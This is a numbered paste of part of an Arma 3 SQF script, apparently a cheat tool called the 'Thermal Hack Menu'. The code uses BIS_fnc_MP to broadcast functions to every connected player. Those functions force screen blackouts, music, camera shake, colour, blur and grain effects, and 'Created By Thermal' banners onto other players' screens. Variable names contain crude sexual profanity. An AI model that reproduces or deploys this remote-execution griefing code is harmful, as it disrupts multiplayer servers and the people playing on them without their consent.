  735. PersonWhomMadeThis_is_one_crazy_motherfucker_color ppEffectAdjust[1, 1, 0, [1, 1, 1, 0], [1, 1, 1, 0.0], [1, 1, 1, 1.0]];
  736. PersonWhomMadeThis_is_one_crazy_motherfucker_color ppEffectCommit 0;
  737.  
  738. sleep 10;
  739.  
  740. ppEffectDestroy PersonWhomMadeThis_is_one_crazy_motherfucker_color;
  741.  
  742. };
  743. [] spawn PersonWhomMadeThis_is_madv2;
  744.  
  745. }, "BIS_fnc_SPAWN", true, false] call BIS_fnc_MP;
  746.  
  747. [{
  748. PersonWhomMadeThis_is_legit_Bae = {
  749. playMusic "Track11_StageB_stealth";
  750. cutText["", "BLACK OUT", 1];
  751. sleep 1;
  752. cutText["", "BLACK IN", 1];
  753. sleep 1;
  754. cutText["Created By Thermal", "PLAIN", 1];
  755. sleep 5;
  756. cutText["By Thermal", "BLACK OUT", 1];
  757. sleep 1;
  758. Sexy_Strippers_Lick_Mah_Nips = ppEffectCreate["colorCorrections", 1501];
  759. Sexy_Strippers_Lick_Mah_Nips ppEffectEnable true;
  760. Sexy_Strippers_Lick_Mah_Nips ppEffectAdjust[1, 1, 0, [0, 0, 0, -0.31], [1.9, 1.9, 1.73, 0.7], [0.2, 1.1, -1.5, 1.64]];
  761. Sexy_Strippers_Lick_Mah_Nips ppEffectCommit 0;
  762.  
  763. Sexy_Strippers_Lick_Mah_Nips = ppEffectCreate["colorCorrections", 1501];
  764. Sexy_Strippers_Lick_Mah_Nips ppEffectEnable true;
  765. Sexy_Strippers_Lick_Mah_Nips ppEffectAdjust[1, 1, 0, [0.0, 0.0, 0.0, 0.0], [0.8 * 2, 0.5 * 2, 0.0, 0.7], [0.9, 0.9, 0.9, 0.0]];
  766. Sexy_Strippers_Lick_Mah_Nips ppEffectCommit 0;
  767.  
  768. Sexy_Strippers_Lick_Mah_Nips = ppEffectCreate["colorCorrections", 1501];
  769. Sexy_Strippers_Lick_Mah_Nips ppEffectEnable true;
  770. Sexy_Strippers_Lick_Mah_Nips ppEffectAdjust[1, 0.21, 0, [0.1, 0, 0, 0], [3.59, 3.49, 3.78, 0.83], [-0.31, 0.08, 3.79, 5]];
  771. Sexy_Strippers_Lick_Mah_Nips ppEffectCommit 0;
  772. sleep 4;
  773. cutText["", "BLACK IN", 1];
  774. sleep 4;
  775.  
  776. playSound "Earthquake_01";
  777. enableCamShake true;
  778. sleep 2;
  779. addCamShake[5, 11, 10];
  780.  
  781. sleep 10;
  782.  
  783. playSound "Earthquake_04";
  784. sleep 2;
  785. addCamShake[10, 12, 20];
  786.  
  787. sleep 8;
  788.  
  789. enableCamShake false;
  790.  
  791. PersonWhomMadeThis_is_one_crazy_motherfucker_color = ppEffectCreate["ColorCorrections", 1999];
  792. PersonWhomMadeThis_is_one_crazy_motherfucker_color ppEffectEnable true;
  793. PersonWhomMadeThis_is_one_crazy_motherfucker_color ppEffectAdjust[0.5, 1, 0, [1, 1, 1, 0], [1, 1, 1, 0.0], [1, 1, 1, 1.0]];
  794. PersonWhomMadeThis_is_one_crazy_motherfucker_color ppEffectCommit 0;
  795.  
  796. Sexy_Strippers_Lick_Mah_Nips2 = ppEffectCreate["dynamicBlur", 505];
  797. Sexy_Strippers_Lick_Mah_Nips2 ppEffectEnable true;
  798. Sexy_Strippers_Lick_Mah_Nips2 ppEffectAdjust[.5];
  799. Sexy_Strippers_Lick_Mah_Nips2 ppEffectCommit 0;
  800.  
  801. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 = ppEffectCreate["filmGrain", 2005];
  802. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectEnable true;
  803. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectAdjust[0.02, 1, 1, 0, 1];
  804. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectCommit 0;
  805. setaperture 25;
  806. sleep 0.01;
  807. setaperture 200;
  808.  
  809. sleep 5;
  810.  
  811. ppEffectDestroy Sexy_Strippers_Lick_Mah_Nips;
  812. ppEffectDestroy PersonWhomMadeThis_is_one_crazy_motherfucker_color;
  813. ppEffectDestroy Sexy_Strippers_Lick_Mah_Nips2;
  814. ppEffectDestroy PersonWhomMadeThis_is_one_crazy_motherfuckerv2;
  815. "dynamicBlur"
  816. ppEffectAdjust[0];
  817. "dynamicBlur"
  818. ppEffectCommit 16;
  819. "colorCorrections"
  820. ppEffectAdjust[1, 1, 0, [1, 1, 1, 0.0], [1, 1, 1, 1], [1, 1, 1, 0.0]];
  821. "colorCorrections"
  822. ppEffectCommit 0;
  823. setaperture 0;
  824. playMusic "";
  825. sleep 2;
  826. cutText["Olympus Entertainment", "PLAIN", 1];
  827. sleep 10;
  828. cutText["by Thermal", "PLAIN", 1];
  829. };
  830. [] spawn PersonWhomMadeThis_is_legit_Bae; g
  831.  
  832. }, "BIS_fnc_SPAWN", true, false] call BIS_fnc_MP;
  833.  
  834. };
  835.  
  836.  
  837.  
  838.  
  839.  
  840.  
  841.  
  842.  
  843.  
  844.  
  845.  
  846.  
  847.  
  848.  
  849.  
  850.  
  851.  
  852.  
  853.  
  854. //Last statements
  855.  
  856. hint "Shift F1 to open the Thermal Hack Menu!";
  857. };
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